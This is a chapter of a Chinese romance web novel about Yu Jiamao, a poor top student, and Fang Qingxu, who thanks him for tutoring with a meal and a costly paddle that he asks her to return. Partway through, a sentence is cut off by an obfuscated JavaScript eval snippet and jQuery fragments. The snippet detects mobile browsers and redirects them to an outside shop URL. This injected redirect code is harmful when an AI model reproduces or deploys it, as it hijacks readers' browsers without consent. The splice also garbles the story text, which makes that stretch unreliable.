“禹嘉茂。”

    那边迟疑了两秒,像是有些惊讶,才带着不确定的声音问:“方清许?”

    “对的啊。”

    “你怎么会有我的电话?”

    “我问班主任要的啊。”

    禹嘉茂妈妈在客厅喊了一声“嘉茂,有个女孩子找你”的时候,他还以为自己听错了。他放下手里正在粘的纸壳,擦了擦手,走出来接过电话,听见那边熟悉又轻快的声音,握着听筒愣了好一会儿。

    “我考上实验高中了哇!”方清许在电话里说。

    “真厉害,恭喜你。”

    “还好吧,没有你这个市状元厉害。”

    禹嘉茂笑了笑,没接话。

    “要不要出来吃饭,我请你啊,感谢你给我补习了那么长时间。”

    “好的,什么时候。”

    “明天中午吧,市中心有家韩式烤肉馆,在春风商场五楼,吕思嘉之前跟我说好吃来着。”

    “你知道春风商场在哪吗?”

    “知道。”

    “那就说定了,明天见。”

    “嗯,明天见。”

    挂了电话,禹嘉茂转身就看见他妈妈坐在小凳子上,手边堆着一摞糊了一半的纸壳,正仰着头看他,眼里带着点笑意。“女生约你吃饭啊,嘉茂。”

    “是的妈,我明天中午就不在家吃了。”

    “带点钱去啊,不能让女孩子掏钱。”

    “知道了妈。”

    禹嘉茂家住的还是他爸分的筒子楼,只有两间屋子,不到四十平米,一间隔出来给他住。

    屋子小,东西多,但收拾得整整齐齐。他妈身体不好,常年吃药,不能出去上班,就在家里自己做点杂活,最近搞了一批纸壳子在粘。

    夏天热,为了省电,家里没开空调,禹嘉茂就穿个背心和裤衩,坐在小板凳上,和他妈一人一边,粘了一下午。

    晚上他洗完澡,在衣柜里翻了半天。

    他没有什么好衣服,很多T恤都是他爸厂子里发的,印着厂名,洗得发白。

    他挑了一件相对来说最干净、颜色也没怎么褪的,又找了条黑色长裤。

    他把衣服叠好放在床头,期待起明天的见面。

    第二天早上,他从抽屉里拿了一百块,想了想,又抽了五十。实验中学每学期会发奖学金,这些钱父母从来不要,都让他自己收着。他把一百五十块叠好放进裤兜,出门前在镜子前站了一会儿,把T恤的褶皱拉了拉平。

    方清许提前到了。她挑了个靠窗的位置坐下,点了两杯柠檬水,一边喝一边翻菜单。

    禹嘉茂到的时候她正低头看手机。女孩穿了一条蓝色的连衣裙,很浅的蓝,像初夏清晨的天空,料子软软地垂着,衬得她肤色白得几乎透光,头发边还别了一个珍珠发卡,趁的她气质越发的清丽脱俗。

    禹嘉茂想起了班级上女孩子们喜欢看的言情杂志的封面人物。

    听见门口风铃响,抬起头来,看到他的瞬间眼睛弯起来,举起手朝他挥了挥。

    “对不起我来晚了。”禹嘉茂说。

    “没有啊,是我来早了,我怕找不到,先来看看在哪。”

    方清许招呼:“服务员,我们点餐。”又问禹嘉茂,“你喜欢吃什么?”

    “我都可以,你点吧,我没怎么吃过烤肉。”禹嘉茂神情坦然。

    方清许点头:“没关系的,我也没怎么吃过,那我先按照吕思嘉的推荐点两样,不够你再加。”

    吕思嘉也顺利考上了实验高中,本来今天也要叫她一起的,但她考完回老家了,要快开学才回来。

    点好餐之后,方清许从包里拿出一个礼品盒,推到他面前:“谢师礼。”

    禹嘉茂看着盒子,没接:“不是已经请我吃饭了吗?”

    “谁规定请吃饭就不能送谢师礼。”

    “不用这么客气——”

    “我们还要一个高中呢,”方清许打断他,“难道你高中不许我再问你题了吗?”

    禹嘉茂沉默了一瞬,这才伸手收下。

    烤肉上来之后,方清许不太会烤,禹嘉茂虽然没吃过,但是看服务员演示几下后就学会了。

    便接过了夹子,翻肉、剪块、看火候,做得有条有理。

    他话不多,但方清许问什么他都答。

    方清许吃得心满意足,中间说起实验高中的分班考试,禹嘉茂说他暑假在家把高一的内容都过了一遍,方清许立刻苦了脸,说你怎么这样,显得我好懒。

    吃完饭,禹嘉茂伸手要拿账单,方清许抢先抽走,冲他扬了扬下巴:“说好今天我请你的。”

    禹嘉茂无奈地收回手。

    两人从烤肉店出来时,正好被街对面的一群人撞见。

    “诶诶诶,那是不是你表妹?”曲瑞明最先看见。他搭着顾衡玉的肩,另一只手朝街那边指。

    沈佳欣顺着他指的方向看过去,就看见方清许正和禹嘉茂并肩走着。两个人不知在说什么,方清许笑得眼睛弯起来,仰着头看禹嘉茂,阳光落在她脸上,整个人明亮又轻快。沈佳欣立刻从包里摸出手机,不客气地拍了一张,准备等会回去给外公外婆看。

    顾衡玉比沈佳欣大两岁,比曲瑞明、张齐山大一岁。

    曲瑞明去了燕大,今年跟顾衡玉就是校友了。张齐山去了南大。顾衡玉从大学回来,几个人约着一起吃饭,就碰见了这一幕。

    “完了完了,小表妹回去不会要挨骂了吧。”曲瑞明添乱。

    “不好说。不过真被打了,我这个当姐姐的勉强护一下喽。”沈佳欣语气懒懒的,把手机收回包里。

    “姐妹感情真是不一样了,前几年提到她还咬牙切齿呢。”曲瑞明打趣。

    沈佳欣瞥了他一眼:“我现在也不喜欢她。”

    “哦。”曲瑞明拖长了尾音,明显不信。

    顾衡玉目光从街对面那两人身上淡淡扫过,不经意咳嗽了几声。

    方清许抬头看见他们了,脚步明显顿了一下,然后飞快地朝沈佳欣挥了挥手,笑得有些心虚。

    曲瑞明“啧”了一声:“小表妹真是长大了啊,之前我就听说有人给她送情书。”

    “真假?你怎么不跟我说。”沈佳欣皱了眉。

    “她没收。”

    “这还差不多。”

    ————

    “你认识啊。”禹嘉茂打量着街对面那几个人。几个年轻男女站在一块,长得都很漂亮,气质也和路人不同,像从杂志封面上走下来的。

    “嗯,我姐,还有她朋友。”方清

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944261|213368||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    许含糊地应了一声。

    “不打招呼?”禹嘉茂问。

    “不打不打。”方清许摇头,拉着他的胳膊就要快走。又不熟,有什么好打的。

    禹嘉茂被她拽得踉跄了一步,眼镜滑到鼻尖,却还是好脾气地跟着她加快脚步。

    禹嘉茂回头看了一眼,街对面那几个人还站在原地,其中一个高个男生正朝这边看,笑得一脸深意。

    沈佳欣回家后,不经意地跟外公外婆提了一嘴今天在街上遇见方清许的事。她坐在躺椅上,一边啃苹果,一边说:“我今天看见清许了,跟一个男生在一起。”

    陈燕婉正在看电视,闻言头都没抬:“哦,那是她初中同学吧。之前给她补习,她感谢人家来着。”

    沈佳欣看着奶奶一脸见怪不怪的样子,嚼苹果的动作慢了下来:“您知道啊。”

    “知道。清许跟我说了。那孩子成绩好,总帮清许讲题。”

    沈佳欣撇撇嘴,没再说话。

    ————

    禹嘉茂晚上拆开礼物,发现是一个名牌球拍。

    包装盒是深蓝色的,打开来,里面躺着一副拍子。

    底板是纯木的,面材纹理细密均匀,一面贴着鲜红的胶皮,一面贴着黑色胶皮,边缘切割得整整齐齐。握柄是收腰的FL型,打磨得光滑圆润,握在手里贴合掌心。盒子里还附了一小盒比赛用球和一块专用清洁海绵。

    他之前在文体店看到过这个牌子,这种配置的价格没有低于一千块的。他爸的工资一个月也不过一千五百六十块。

    他拨通了方清许的电话。

    “喂。”那边接得很快,声音轻软。

    “禹嘉茂?你到家了吗?”

    “到家了。”

    “怎么了?”

    “清许,球拍我不能收。”灯光映照着禹嘉茂面无表情的脸。

    “为什么?”

    “太贵重了。”

    “还好吧,你给我补习了快一年的课呢,换成补习费还不够呢。”

    “方清许。”禹嘉茂不知为何莫名有些生气,“我给你补习不是为了钱。”

    “我知道啊。可是我想感谢你啊。”方清许想起他那个旧球拍,拍面都开了口子,用胶粘了又粘,边缘翘着。

    “明天我们见面,你拿去退了。”禹嘉茂语气硬邦邦的,“不然我以后不给你讲题了。”

    “你生气了吗?”

    “没有。”

    “好嘛好嘛,”方清许软着声音哄他,“明天我拿了退掉,好吗?”

    禹嘉茂握着电话没说话,过了几秒才闷闷地“嗯”了一声。

    挂了电话,他又轻轻摩挲了一下球拍,纯木的触感温润光滑,和他那块旧板子完全不一样。他把盒子重新盖上,推到了书桌角落,起身去洗漱。

    洗漱回来,他坐在床边,又看了一眼那个盒子。灯光照在深蓝色的盒面上,安静地反着光。

    他躺下来,闭上眼睛,把脸埋进枕头里。

    他没有办法解释自己莫名其妙的的生气,不是早就知道方清许家庭条件不错了吗。

    但是受赠者面对赠予者无法偿还的好意的时候,总是不安甚至有些自卑的,尤其是对面还是他喜欢的女孩。

    是的,他喜欢方清许。